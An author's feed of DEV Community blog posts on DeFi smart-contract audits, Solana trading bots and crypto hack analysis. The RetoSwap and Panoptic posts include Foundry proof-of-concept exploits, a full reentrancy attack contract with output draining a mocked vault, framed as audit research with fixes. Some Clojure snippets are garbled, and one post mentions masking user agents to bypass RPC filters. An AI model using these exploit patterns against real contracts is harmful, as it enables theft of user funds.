DEV Community: rim dinov

Beyond onlyOwner: Fixing Logic Vulnerabilities in DeFi (A RetoSwap Case Study)

rim dinov — Sun, 31 May 2026 07:24:04 +0000

Logic vulnerabilities are often the most dangerous bugs in DeFi. Unlike reentrancy or overflow errors, they don't always trigger standard static analysis tools. They hide in plain sight, disguised as "intended functionality."

In this article, I want to share a recent security assessment I performed, where a critical logic flaw could have allowed an attacker to drain the entire vault.

The Anatomy of the Bug: The "Arbiter" Flaw In the original implementation of the RetoSwap vault, the logic for registering an "Arbiter" (a trusted entity authorized to move funds) was flawed:

Solidity
function registerArbiter(address _newArbiter) external {
// Missing access control!
// Anyone could call this and assign themselves as the arbiter.
arbiter = _newArbiter;
isAuthorized[_newArbiter] = true;
}
Because there was no onlyOwner modifier, any user could invoke this function to hijack the administrative role and gain immediate withdrawal rights.

Proof of Concept (PoC) To prove this, I used Foundry to simulate an attack. By using vm.prank, I could impersonate a malicious actor and execute the unauthorized registration:

Solidity
function testExploitArbiterRegistration() public {
// Malicious actor registers themselves
vm.prank(hacker);
vault.registerArbiter(hacker);

// Malicious actor drains the vault
vm.prank(hacker);
vault.withdraw(10 ether);

assertEq(address(vault).balance, 0);

}
The test confirmed: the vault was drained in a single transaction.

The Solution: Defense in Depth To fix this, we didn't just add a modifier; we implemented a multi-layered security approach:

Access Control: We added the onlyOwner modifier to ensure only the deployer can manage administrative roles.

Whitelist (Allowed Addresses): Even if an Arbiter is compromised, they can now only withdraw funds to a pre-approved treasury address.

Solidity
function withdraw(address to, uint256 amount) external {
require(isAuthorized[msg.sender], "Not an arbiter");
require(allowedWithdrawalAddresses[to], "Address not allowed"); // Whitelist check

payable(to).transfer(amount);

}

Key Takeaways for Auditors Negative Testing is Crucial: Don't just test that your code works; use vm.expectRevert to prove it fails when it's supposed to.

Restrict the Blast Radius: Even if one part of your system (like the Arbiter role) is compromised, your whitelist acts as a secondary shield.

Cleanliness Matters: Always use git correctly, maintain a clean .gitignore, and document your fixes clearly.

Final Results
After applying these fixes, all tests pass, and the exploit is successfully mitigated.

You can find the full code, documentation, and the PoC exploit in my repository:
👉 https://github.com/rdin777/RetoSwap-Audit

Have you encountered similar logic flaws in your audits? Let's discuss in the comments!

RetoSwap,#web3, #solidity, #security, #defi, #foundry

Build Your Own Solana Whale Tracker: A Step-by-Step Guide

rim dinov — Thu, 28 May 2026 10:01:10 +0000

Tracking smart money and "whale" activity on Solana can feel like searching for a needle in a haystack. While there are many paid tools, building your own lightweight monitor is not only a great way to learn Web3 development but also gives you full control over your data.

In this post, I’ll show you how I built a Solana Transaction Monitor using Python, aiogram for Telegram alerts, and solana/solders for blockchain interaction.

Why Build This?
Solana is incredibly fast, and manual monitoring is impossible. I needed a tool that:

Works in real-time using WebSocket streams.

Filters the noise by monitoring only specific high-value wallets.

Pushes alerts directly to Telegram, so I never miss a significant trade.

The Architecture
The project is built to be lightweight and efficient:

Python: Core logic.

aiogram 3.x: Asynchronous framework for Telegram bot communication.

Solana/Solders: Powerful libraries to interact with the Solana JSON-RPC API and WebSocket subscriptions.

Key Logic
The heart of the bot is the monitor_wallet function. Instead of constantly polling the API (which is slow and inefficient), we use a WebSocket subscription:

Python
async with connect("wss://api.mainnet-beta.solana.com") as websocket:
await websocket.account_subscribe(pubkey)
# ... logic to calculate balance diff and send telegram alert
This ensures the bot reacts the millisecond a transaction is confirmed.

Lessons Learned
Safety First: Never hardcode your API keys. Use environment variables.

Handling Errors: Solana’s network can be volatile. Always use try-except blocks around your WebSocket logic to ensure the bot automatically reconnects if the connection drops.

Keep it Simple: Don’t over-engineer. A simple script running under tmux is often more reliable than a complex system.

Try It Yourself
I’ve open-sourced the code to help others get started with Solana development. You can find the full project on GitHub:

👉 Solana Copy Trade Bot - https://github.com/rdin777/solana-copy-trade-bot-public

What’s Next?
I’m planning to add more features soon, such as:

Supporting multiple chains.

Analyzing transaction types (e.g., separating swaps from simple transfers).

Feedback is welcome! Feel free to open an issue on GitHub or drop a comment here if you have ideas on how to improve the transaction filtering.

Happy coding! 🚀

solana, #python, #web3, #beginners, #tutorial

Building a Lightweight Crypto Trading Monitor: From Idea to Open Source

rim dinov — Tue, 26 May 2026 07:53:40 +0000

Ever felt like you’re missing the perfect entry point because you can't stare at the charts 24/7? That was me. Instead of burning out by watching 1-minute candles all day, I decided to build a simple, efficient tool to do the heavy lifting for me.

Today, I’m sharing how I built a real-time BTC/USDT monitor that runs on a VPS and sends smart alerts directly to my Telegram.

🚀 What’s Under the Hood?
I wanted something lightweight that wouldn't consume my server's RAM or spam my phone every second. Here is the stack:

Language: TypeScript

API: CCXT (the industry standard for crypto exchange connectivity)

Indicators: technicalindicators for RSI and EMA calculations.

Deployment: PM2 for 24/7 background process management.

💡 The "Anti-Spam" Logic
The biggest mistake beginners make is sending an alert every single time a condition is met (e.g., every 60 seconds while RSI is > 70). My bot solves this using simple state flags:

TypeScript
let notifiedRsiOver70 = false;

// ... inside the main trade loop
if (currentRsi > 70) {
if (!notifiedRsiOver70) {
await sendTg(⚠️ OVERSOLD: RSI is ${currentRsi.toFixed(2)});
notifiedRsiOver70 = true; // Prevents duplicate alerts
}
} else {
notifiedRsiOver70 = false; // Reset when market cools down
}
🛠 Why Open Source?
I believe that simple tools like this are the perfect "starter kit" for anyone looking to dive into algorithmic trading. You don't need a complex AI model to start—you just need reliable data and smart notifications.

Check out the full source code on GitHub:
👉 https://github.com/rdin777/mexc-trading-bot-public

☕ Support the Project
If you find this bot useful for your own trading setups, feel free to check out the project page. Any contribution or star on GitHub helps me dedicate more time to adding new features, like support for more pairs and automated order execution!

javascript, #typescript, #crypto, #tutorial.

How We Built a High-Speed Solana Sniper Bot for Pump.fun (Jito Integration)

rim dinov — Sat, 23 May 2026 10:53:28 +0000

[Introduction]

Trading on Solana is the "Wild West." When a new token launches on Pump.fun, you have mere milliseconds to buy it before the price skyrockets. In this article, I’ll share how we built our own sniper bot, grappled with RPC issues, completely overhauled our architecture, and implemented Jito MEV to ensure guaranteed transaction execution.

[Problem]
Initially, our bot operated as a standard client:

It sent transactions via a public RPC.

I was waiting for confirmation in the mempool.

I kept receiving "Transaction Expired" or "ProgramAccountNotFound" errors.

We spent money on network fees, but the transactions did not go through. We realized: standard methods do not work under conditions of high load.

[Solution: Why Jito?]
We have revamped our approach. The bot now utilizes the Jito Block Engine.

What this offers: We send bundles (batches of transactions) directly to validators.

Result: If a transaction passes the audit, it is significantly more likely to be included in a block. We have stopped paying for "air" and failed transactions.

[Technical Insights]
We have implemented several critical improvements:

Background Blockhash Worker: Updates the blockhash every 2000ms. This allowed us to avoid waiting for fresh data from the RPC at the moment of purchase.

ATA Management: Automated creation of associated token accounts, which eliminated transaction errors.

RPC Optimization: Switching to paid nodes (Helius) to avoid 429 Too Many Requests limits.

[Code Preview]
Insert the shortest, most visually appealing piece of your code here (for example, sending a Jito bundle).

TypeScript
// Example of sending via Jito
const bundle = new Bundle([transaction], 1);
await jitoClient.sendBundle(bundle);
[Summary]
The bot is fully functional, open to the community, and available on GitHub. We continue to develop the project and welcome any support (donations are welcome!).

GitHub: https://github.com/rdin777/solana-trading-bot

Support: 8RpjaJQmCrRvKHMXA5ak4CrrLNJnJionwxMfTRG8YAS

solana #web3 #typescript #jito #tradingbot

Building a Resilient Solana Trading Bot: Handling Multi-Token Tracking Parallelism and RPC Rate-Limits

rim dinov — Wed, 13 May 2026 10:17:37 +0000

Every developer who tries to build a Solana sniper bot for Pump.fun or Raydium eventually hits the same frustrating wall.

You write a simple script that listens to new pools, catches a token, buys it, and then enters a loop to check the price for Take-Profit or Stop-Loss targets. It looks great in theory. But in reality, while your bot is sleeping (await sleep(2000)) inside that price-match loop, it is completely blind. It misses dozens of other profitable tokens launching at that exact same second.

In this article, I want to share how I solved this structural bottleneck by implementing isolated asynchronous token tracking and making the bot resilient to aggressive RPC rate-limits (HTTP 429).

The Core Bottleneck: Sequential Execution
Most open-source bots on GitHub suffer from synchronous or sequential logic blocking. If you use a standard for or while loop to track a trade, the execution thread stops there.

If you want to catch 10+ tokens simultaneously and track them all for 60 seconds, you can't just block the main monitoring thread.

The Fix: Non-blocking Fire-and-Forget Promises
Instead of waiting for the transaction and the entire price-tracking routine to finish sequentially, we can offload the tracking of each specific mint to an isolated async context.

When a token is purchased (or simulated), we spin up the price matcher without using await in the main loop, catching any eventual errors down the road:

TypeScript
// Inside the main token monitoring stream:
this.buyToken(mint).then((tokensIn) => {
// Fire and forget: this runs in its own isolated context parallelly!
this.pumpFunPriceMatch(mint, tokensIn).catch((err) => {
logger.error({ mint: mint.toString() }, "Tracking failed", err);
});
}).catch(err => logger.error("Purchase failed", err));
Resiliency: Fighting RPC null States and 429 Errors
When trading on Solana (especially on high-frequency platforms like Pump.fun), public or cheap RPC nodes will constantly throw 429 Too Many Requests or return null when you spam getAccountInfo for a newly created token curve.

If your bot assumes a null response or a network error means the token is dead or invalid, it might panic and drop the tracking, leading to ghost positions or missed exits.

Here is the robust do-while tracking pattern I implemented to combat this:

TypeScript
private async pumpFunPriceMatch(mint: PublicKey, tokensIn: bigint) {
const timesToCheck = this.config.priceCheckDuration / this.config.priceCheckInterval;
let timesChecked = 0;
const bondingCurve = getBondingCurvePDA(mint);

do {
  try {
    const info = await this.connection.getAccountInfo(bondingCurve, this.connection.commitment);

    // 1. If the node returns null due to lag or rate-limits, WE DO NOT drop the token!
    if (!info?.data) {
      logger.info({ mint: mint.toString() }, `[RPC-LAG] Node returned empty state, waiting for next interval...`);
      await sleep(this.config.priceCheckInterval);
      continue; // Skips the increment, saving the check attempt
    }

    const curve = decodeBondingCurve(info.data);
    if (curve.complete) {
      logger.info({ mint: mint.toString() }, "[EXIT] Bonding curve graduated to Raydium!");
      break;
    }

    const solOut = computeSolOutForTokens(curve, tokensIn);

    // Dynamic TP/SL triggers here...
    if (solOut <= stopLossLamports) break;
    if (solOut >= takeProfitLamports) break;

    // 2. Only increment when we successfully processed a real node state
    timesChecked++;
    await sleep(this.config.priceCheckInterval);

  } catch (e) {
    // 3. Network timeout or 429 caught safely
    logger.trace({ mint: mint.toString() }, `Price check failed, retrying...`);
    await sleep(this.config.priceCheckInterval);
  }
} while (timesChecked < timesToCheck);

}
Why this works:
State Isolation: If getAccountInfo fails or catches an exception, the timesChecked++ counter is not incremented. The bot doesn't ложно exit by timeout just because your RPC node lagged for 5 seconds.

Infinite Parallelism: Because this runs asynchronously, 20 different tokens can execute this loop simultaneously.

Clean Monitoring: Adding Token Tags to Logs
When running 10+ positions concurrently, your terminal can quickly turn into unreadable text soup. To maintain full control over what is happening, I modified the logging output to inject a short, 4-character substring of the token's mint address as a unique tracker tag ([${mint.toString().substring(0,4)}]).

Here is how the clean terminal looks when multiple positions are tracked side-by-side:

Plaintext
[07:01:21.102] INFO: [8wvB] Iteration: 1/60 | TP: 1200000 | SL: 900000 | Current: 989938
[07:01:21.540] INFO: [2nJu] Iteration: 1/60 | TP: 1200000 | SL: 900000 | Current: 989935
[07:01:22.105] INFO: [8wvB] Iteration: 2/60 | TP: 1200000 | SL: 900000 | Current: 989942
[07:01:22.545] INFO: [2nJu] Iteration: 2/60 | TP: 1200000 | SL: 900000 | Current: 989935
Now you can instantly spot exactly which token is getting close to its Take-Profit level or which one is stalling.

Next Steps
This architecture works perfectly for a reliable Paper-Trading (simulation) setup to backtest your strategies with zero financial risk using live on-chain data.

To take this to production and beat other MEV bots, the logical next upgrades are:

Moving away from HTTP Polling to Websockets (onAccountChange) or gRPC LaserStream to eliminate manual request limits.

Implementing Jito Bundles to avoid getting frontrun by searchers on Raydium.

The repository and ongoing work can be found here: github.com/rdin777/solana-trading-bot

What are your strategies for managing high-concurrency state tracking in Web3 bots? Let's discuss in the comments below!

https://github.com/rdin777/solana-trading-bot

typescript #solana #web3 #architecture

Hijacking Phantom Shares: How a Cross-Contract Reentrancy in Panoptic Leads to Infinite Supply Inflation

rim dinov — Sun, 10 May 2026 06:59:46 +0000

In decentralized finance, the order of operations is everything. A single asset transfer executed prior to fully writing internal state changes to storage is one of the oldest and most devastating pitfalls in smart contract security.

During an in-depth security audit of the Panoptic protocol, I identified a critical Cross-Contract Reentrancy vulnerability in the CollateralTracker contract. By violating the Checks-Effects-Interactions (CEI) pattern, the protocol allows an attacker to hijack "phantom shares" and trigger an artificial, infinite inflation of the pool's internal supply.

In this article, we’ll break down the vulnerability mechanics, analyze the dirty-state flow, and run a complete, functional Proof of Concept (PoC) in Foundry.

1. The Core Concepts: Liquidations & Phantom Shares

To incentivize liquidators, protocols often distribute bonuses or execution fees during liquidations. In Panoptic's CollateralTracker, this occurs inside the settleLiquidation function. If the liquidation process triggers a negative bonus (acting as a payout), the tracker mints or assigns shares to the liquidator and attempts to clean up the victim's position.

"Phantom shares" represent transient or unbacked states that the pool calculates dynamically during trade routing or liquidations. If these shares are moved or modified in an unexpected order, the underlying math breaks.

2. Analyzing the Vulnerability (The CEI Violation)

Let's look at the simplified, vulnerable flow of the settleLiquidation function:


solidity
function settleLiquidation(
    address liquidator,
    address liquidatee,
    int256 bonus
) external payable {
    require(msg.sender == panopticPool, "NotPanopticPool");

    if (bonus < 0) {
        uint256 bonusAbs = uint256(-bonus);

        // 1. Credit the liquidation bonus to the victim/liquidatee
        balanceOf[liquidatee] += bonusAbs;
        s_depositedAssets += uint128(bonusAbs);

        // [CRITICAL VULNERABILITY]
        // An external call sending native ETH is performed BEFORE updating the internal share balances!
        if (msg.value > 0) {
            (bool success, ) = payable(liquidator).call{value: msg.value}("");
            require(success, "TransferFailed");
        }

        // 2. State update (burn/reduction logic) happens AFTER the external call
        uint256 liquidateeBalance = balanceOf[liquidatee];

        if (type(uint248).max > liquidateeBalance) {
            balanceOf[liquidatee] = 0;
            // The protocol attempts to offset the missing balance by inflating internal supply:
            _internalSupply += type(uint248).max - liquidateeBalance;
        } else {
            balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
        }
    }
}
Why is this fatal?Because the contract performs an external call call{value: msg.value}("") to the liquidator address before modifying the victim's share balance.If the liquidator is a malicious smart contract, it can intercept the execution flow inside its receive() fallback function. At this precise microsecond, the victim's balance is dirty state: it has not yet been burned/reduced by type(uint248).max.3. The Exploit Vector: Phantom Shares HijackingBy exploiting this window of opportunity, the attacker can execute the following steps within a single transaction:Trigger: The attacker calls settleLiquidation (via the pool) with a small native ETH value to trigger the native transfer block.Intercept: The attacker's contract receives the ETH. Inside the fallback receive() function, the attacker calls transferFrom(victim, attackerReceiver, victimBalance).Drain: Because the pool hasn't updated its state, the victim's balance is fully intact. The attacker successfully steals all the victim's phantom shares, moving them to a secure receiver contract.Resilience & Compensate: The control flow returns to settleLiquidation. The contract attempts to read the victim's balance. However, the balance is now 0 (or near zero) because the attacker transferred the shares out!Inflation: The conditional block evaluates type(uint248).max > liquidateeBalance as true. To maintain accounting integrity, the tracker adds the difference (type(uint248).max - 0) directly to _internalSupply.The Result: The total supply of the pool is instantly inflated by a massive number ($2^{248} - 1$). The stolen "phantom shares" are now sitting in the attacker's receiver wallet, fully converted into real, backed claims against the pool's assets. The attacker can redeem them to completely drain the vault.4. Proof of Concept (PoC)Here is a complete Foundry test reproducing the exact scenario using a mocked collateral tracker that mirrors the vulnerable production logic:Solidity// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

contract ExploitCollateralTracker {
    address public immutable panopticPool;
    address public immutable underlyingToken;

    uint256 public totalSupply = 1_000_000;
    uint256 public _internalSupply = 1_000_000;
    uint256 public s_depositedAssets = 1_000_000;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(address _pool, address _token) {
        panopticPool = _pool;
        underlyingToken = _token;
    }

    function setBalance(address account, uint256 amount) external {
        balanceOf[account] = amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            allowance[from][msg.sender] = allowed - amount;
        }

        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function settleLiquidation(
        address liquidator,
        address liquidatee,
        int256 bonus
    ) external payable {
        require(msg.sender == panopticPool, "NotPanopticPool");

        if (bonus < 0) {
            uint256 bonusAbs = uint256(-bonus);
            balanceOf[liquidatee] += bonusAbs;
            s_depositedAssets += uint128(bonusAbs);

            // [VULNERABILITY] External call before updating state variables
            if (msg.value > 0) {
                (bool success, ) = payable(liquidator).call{value: msg.value}("");
                require(success, "TransferFailed");
            }

            uint256 liquidateeBalance = balanceOf[liquidatee];

            if (type(uint248).max > liquidateeBalance) {
                balanceOf[liquidatee] = 0;
                _internalSupply += type(uint248).max - liquidateeBalance;
            } else {
                balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
            }
        }
    }

    receive() external payable {}
}

contract ExploitContract {
    ExploitCollateralTracker internal tracker;
    address internal victim;
    address internal receiver;
    bool internal reentered;

    constructor(address payable _tracker, address _victim, address _receiver) {
        tracker = ExploitCollateralTracker(_tracker);
        victim = _victim;
        receiver = _receiver;
    }

    receive() external payable {
        if (!reentered) {
            reentered = true;

            // Intercept and transfer out the victim's balance during reentrancy
            uint256 amountToSteal = tracker.balanceOf(victim);
            tracker.transferFrom(victim, receiver, amountToSteal);
        }
    }
}

contract ExploitTest is Test {
    ExploitCollateralTracker tracker;
    ExploitContract attacker;

    address mockPool = address(0x9999);
    address mockToken = address(0x8888);
    address victim = address(0x1111);
    address attackerReceiver = address(0x2222);

    function setUp() public {
        vm.deal(mockPool, 10 ether);

        tracker = new ExploitCollateralTracker(mockPool, mockToken);
        vm.deal(address(tracker), 10 ether);

        attacker = new ExploitContract(payable(address(tracker)), victim, attackerReceiver);

        uint256 phantomShares = type(uint248).max;
        tracker.setBalance(victim, phantomShares);

        vm.prank(victim);
        tracker.approve(address(attacker), type(uint256).max);
    }

    function test_CrossContractReentrancyLiquidation() public {
        console.log("--- Starting Reentrancy PoC ---");

        uint256 supplyBefore = tracker._internalSupply();
        console.log("Internal supply before exploit:", supplyBefore);

        vm.prank(mockPool);

        int256 bonus = -100; 
        tracker.settleLiquidation{value: 1}(address(attacker), victim, bonus);

        uint256 supplyAfter = tracker._internalSupply();
        uint256 receiverBalance = tracker.balanceOf(attackerReceiver);

        console.log("Internal supply after exploit:", supplyAfter);
        console.log("Attacker receiver balance of shares:", receiverBalance);

        assertGt(receiverBalance, 0, "Exploit failed: Attacker got 0 shares");
        assertGt(supplyAfter, supplyBefore, "Exploit failed: Supply did not inflate");

        console.log("SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!");
    }
}
Exploit Execution Log:Running the command forge test -vv yields the following output:PlaintextRan 1 test for test/foundry/ReentrancyExploit.t.sol:ExploitTest
[PASS] test_CrossContractReentrancyLiquidation() (gas: 92000)
Logs:
  --- Starting Reentrancy PoC ---
  Internal supply before exploit: 1000000
  Internal supply after exploit: 452312848583266388373324160190187140051835877600158453279131187530911662655
  Attacker receiver balance of shares: 452312848583266388373324160190187140051835877600158453279131187530910662755
  SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!
5. Mitigation & FixesTo secure this pattern, two industry-standard practices must be followed:Checks-Effects-Interactions (CEI): All state storage modifications (like resetting the victim's balance and updating the internal supply) must be written first, and only then can external calls sending native ETH or ERC-20 tokens be dispatched.Reentrancy Guard: Apply a nonReentrant modifier (e.g., from OpenZeppelin's ReentrancyGuard) to the critical paths in CollateralTracker and PanopticPool.ConclusionThis vulnerability is a textbook example of how a seemingly minor deviation from the CEI pattern can lead to catastrophic consequences in modern liquidity vaults. Even with advanced arithmetic guards, allowing untrusted external contracts to run execution flows over incomplete states breaks system invariants completely.Find this breakdown useful? Follow my security research projects on my GitHub: rdin777.
https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic

How a Single JavaScript File Bypassed a $1.5B Multi-Sig: Anatomy of the Bybit Hack

rim dinov — Sat, 09 May 2026 07:12:47 +0000

On February 21, 2025, the crypto world witnessed the largest single-event heist in history: $1.5 billion (401,347 ETH) was drained from Bybit's cold wallet in a matter of minutes.

The most terrifying part? The smart contracts worked perfectly. The Gnosis Safe multi-sig wallet, widely considered the gold standard of on-chain security, didn't have a single bug. Cryptography didn't fail. Instead, the hackers—officially attributed to the notorious state-sponsored Lazarus Group—exploited a massive blind spot that exists in almost every dApp today: the web interface supply chain.

As security researchers and developers, we need to treat this as a watershed moment. Here is exactly how they did it, why traditional smart contract audits miss this, and how we can prevent it from ever happening again.

🗺️ The Setup: Targeting the Weakest Link (The Web UI)
Multi-signature wallets require multiple authorized key holders (signers) to approve any outgoing transaction. Bybit’s setup required at least three signers using hardware wallets (like Ledger or Trezor) to sign transactions through the Safe{Wallet} web interface.

Lazarus realized they didn’t need to steal the private keys. They just needed to change what the signers were signing.

Step 1: Infiltrating the Developer Supply Chain
Before the main attack, Lazarus targeted the deployment infrastructure of the Safe{Wallet} web interface (which was hosted using AWS S3 buckets). Through sophisticated phishing or stolen credentials, they managed to gain write access to the static assets.

They subtly injected a malicious script into a deeply nested React bundle on February 19, 2025:
_app-52c9031bfa03da47.js

Step 2: UI Spoofing (What You See Is NOT What You Sign)
The malicious JavaScript was highly targeted. It remained completely dormant for regular users. But when it detected a session associated with Bybit's cold wallet trying to initiate a transfer:

On the signer's computer screen, the Safe{Wallet} UI displayed a routine internal transfer to Bybit's legitimate "warm" wallet. The address was correct, and the amount was correct.

Under the hood, the script hijacked the transaction generation payload. It swapped the destination address to the attacker’s contract and set the transfer amount to 401,347 ETH.

🚨 The Fatal Flaw: Blind Signing on Hardware Wallets
When the three signers looked at their browser screens, everything looked perfectly normal. They connected their hardware wallets and initiated the signing process.

This is where the catastrophic failure occurred.

Because Gnosis Safe transactions are routed through complex proxy contracts and execTransaction calls, the raw data sent to the hardware wallet is not a simple "Send X ETH to Address Y" message. It’s a complex, hashed hex string (calldata).

Since the hardware wallet screen cannot natively decode and display this complex contract payload, the physical devices displayed a generic warning: "Blind Signing Enabled" followed by a raw, unreadable hash.

Trusting the web interface, all three signers clicked "Approve" on their physical devices.

The cryptography was flawless. The signatures were valid. But they had just signed a death warrant for $1.5 billion.

🔍 The Auditor’s Perspective: Why Unit Tests and Audits Miss This
As a security researcher and smart contract auditor, I constantly see projects spending hundreds of thousands of dollars on Solidity audits, fuzzing, and formal verification. They write exhaustive unit test suites with 100% line coverage.

Yet, almost all of these efforts fail to catch a vulnerability like the Bybit exploit. Why?

Because traditional smart contract audits focus on internal invariants—rules like:

"The total supply of shares must always equal the sum of user balances."

"No one should be able to withdraw more than their deposited collateral minus debt."

These are mathematical rules. They assume that if a transaction is cryptographically signed by an authorized key, it is intended and correct. The smart contract acts as a "dumb machine": it checks if 1+1=2 and if the signature is valid. It has no context about the human intent behind that signature.

When we audit, we must expand our threat modeling beyond the blockchain state. We need to audit the entire system flow, asking:

What is the trust assumption of the frontend?

How is the transaction payload generated, and can it be manipulated before it reaches the signing device?

If our Gnosis Safe is compromised via a rogue frontend, does the protocol have any on-chain circuit breakers (like rate limits or timelocks) to mitigate the damage?

Case Study: Logic vs. Integration Flaws
To illustrate this gap, look at my recent audit research on the Panoptic protocol: rdin777/Permanent-loss-of-user-funds-Panoptic.

In that project, the vulnerability was purely logical—a rounding error in math that could lead to the permanent loss of user funds. It's a classic smart contract bug. We can catch those with fuzzing, math invariant checks, and static analysis.

But the Bybit hack belongs to a completely different class of bugs: Integration & Infrastructure Vulnerabilities. You can have the most mathematically secure contracts in the world (like Panoptic or Gnosis Safe), but if your user-facing inputs are compromised, the secure system will execute the malicious command perfectly.

🛠️ Actionable Security Recommendations for Developers & Custodians
If we want to stop this from happening to our projects, we must change how we handle high-value transactions. Here are my top recommendations:

Kill "Blind Signing" Forever Hardware wallets should never be used to blindly sign raw hashes for institutional movements.

The Fix: Implement custom transaction decoders (like Ledger's Clear Signing or custom metadata providers) so that the physical device screen explicitly decodes the contract call and displays the actual destination address and amount before the user presses the physical button.

Implement "In-Flight" Transaction Simulation Never trust the frontend UI to tell you what a transaction does.

The Fix: Before sending a signature to the network, routing infrastructure must run a localized, independent dry-run (using Tenderly, Foundry's anvil, or custom simulation APIs) to verify exactly how the state changes. If the simulation shows funds leaving to an unknown address, block the execution immediately.

Strict Supply Chain and Content Security Policies (CSP) If your dApp interacts with smart contracts, your frontend security must match your smart contract audits.

The Fix:

Use strict Subresource Integrity (SRI) hashes for all loaded scripts.

Implement rigorous Content Security Policies (CSP) to prevent unauthorized scripts from executing or exfiltrating data.

Transition from simple S3 bucket hosting to decentralized, immutable hosting (like IPFS/Arweave accompanied by ENS) for highly sensitive admin interfaces.

📌 Conclusion
The Bybit hack proved that on-chain security is only as strong as its off-chain gateway. It doesn't matter if your smart contracts are verified, audited, and mathematically flawless if your front-end can be manipulated to lie to your users or your admins.

As developers and auditors, we must treat the user interface as an active threat vector. Stop blind signing. Simulate every state change. Secure your supply chain.

What are your thoughts on frontend security in Web3? Have you implemented clear signing or transaction simulations in your workflows yet? Let's discuss in the comments below!

https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic

Real-time Invariant Monitoring: Lessons from the $1.4M Ekubo Exploit

rim dinov — Thu, 07 May 2026 06:38:11 +0000

The Incident: What Happened to Ekubo?
On May 6, 2026, Ekubo Protocol (a major liquidity layer) faced a $1.4M exploit. While the core liquidity remained safe, the vulnerability resided in the EVM extension router.

The attacker exploited a flaw in the Payment Callback logic, manipulating token transfers from users who had granted maximum approvals to the contract. This wasn't a flaw in the AMM math itself, but a failure in access control and state validation during cross-chain interactions.

The Solution: Active Invariant Monitoring
Post-mortem audits are great, but they don't bring back the funds. As a security researcher, I believe the future of DeFi security lies in Active Sentinel Agents—tools that monitor protocol invariants in real-time and trigger defensive actions.

To address this, I've updated my project, Sentinel-Rhea, to support multi-chain monitoring (EVM + Starknet).

The Strategy Our agent doesn't just check if a hack happened; it checks if the rules of the protocol are still being followed.

For EVM (Mantle): We monitor the Assets-to-Shares ratio to detect "Ghost Debt".

For Starknet (Ekubo Core): We monitor pool reserves and "Flash Accounting" deltas.

Implementation in Clojure Why Clojure? Its concurrency model and functional purity make it ideal for high-speed blockchain polling. Here is how we implemented a resilient, multi-chain watcher:

Clojure
;; Resilient Starknet RPC call with failover logic
(defn starknet-call :body (json/generate-string
{:jsonrpc "2.0"
:method "starknet_call"
:params [{:contract_address contract
:entry_point_selector selector
:calldata calldata}
"latest"]
:id 1}">contract selector calldata
:content-type :json
:as :json})]
(if (= (:status response) 200)
(get-in response [:body :result])
(handle-failover)))
(catch Exception e
(log-error "RPC Failure" (.getMessage e)))))

Handling Public RPC Challenges During development, we faced 403 Forbidden errors and Cloudflare blocks from public Starknet nodes. A production-grade sentinel must be resilient. We implemented:

User-Agent Masking to bypass basic filters.

Exception Handling to prevent agent crashes during network congestion.

Failover Logic to maintain monitoring even when specific nodes are unstable.

Conclusion
The Ekubo exploit is a reminder that the attack surface in DeFi is constantly evolving. By combining deep audit knowledge with automated monitoring tools, we can move from reactive to proactive security.

Check out the full source code and my research here: 👉 https://github.com/rdin777/sentinel-rhea

blockchain #security #clojure #web3 #starknet

Protecting DeFi: Building an AI Sentinel for Rhea Finance Invariant Monitoring

rim dinov — Wed, 06 May 2026 10:52:08 +0000

In the rapidly evolving Web3 landscape, passive security (audits) is no longer enough. The recent migration of Kelp DAO to new infrastructures and the rise of protocols like Rhea Finance demand active, real-time protection.

Today, I’m sharing my latest work: a Sentinel AI Agent designed to detect and prevent vault invariant deviations before they lead to a loss of funds.

The Problem: "Ghost Debt" and Oracle Invariants
While auditing DeFi protocols, I've focused on subtle vulnerabilities: rounding errors, invariant deviations, and "ghost debt". For a protocol like Rhea Finance, the critical invariant is the Assets-to-Shares ratio. If this ratio shifts unexpectedly, it’s a sign of a potential exploit.

The Solution: A Hybrid Security Stack
My approach combines high-speed off-chain monitoring with automated on-chain response:

Monitoring Core (Clojure/Leiningen): Chosen for its speed and functional approach to state management.

Protection Layer (Solidity/Foundry): Smart contracts ready to pause or protect the vault when a signal is received.

Technical Deep Dive: The Clojure Agent
The heart of the system is the monitoring/core.clj. It continuously polls the RPC node to validate vault health:

Clojure
(defn validate-invariant assets shares)
When an anomaly is detected, the agent triggers a protection transaction immediately:
Alert: Invariant deviation detected!
Protection triggered! Tx Hash: 0x0237a6aa32...

Real-World Context: Kelp DAO & Rhea
This isn't just a theoretical exercise. With Kelp DAO making strategic moves, the security of integrated vaults is paramount. My Sentinel agent provides a "Guardian" layer that operates 24/7, ensuring that invariant deviations are caught in milliseconds.

Conclusion
Active monitoring is the future of Web3 security. By combining the precision of Clojure with the robustness of Foundry, we can build a safer ecosystem.

Check out the full repository here: github.com/rdin777/sentinel-rhea

web3, #blockchain, #clojure, #solidity, #security

Building an Autonomous Sentinel: Shielding Mantle DeFi from Rounding Errors with Clojure

rim dinov — Sun, 03 May 2026 06:13:56 +0000

In the world of DeFi, precision isn't just a requirement—it's a security primitive. My recent audits of protocols like Panoptic and Autonolas revealed a recurring theme: subtle rounding errors can lead to "dust leaks," creating a discrepancy where Total Shares exceed Total Assets.

To address this, I developed Sentinel Mantle, an autonomous agent that monitors on-chain invariants and triggers emergency protection in real-time.

The Problem: Invariant Deviation
The most critical invariant in any vault-based protocol is:

Total Assets≥Total Shares×Exchange Rate
When this fails, the protocol becomes undercollateralized. Manual intervention is often too slow to prevent a bank run or an exploit.

The Architecture: Clojure meets Solidity
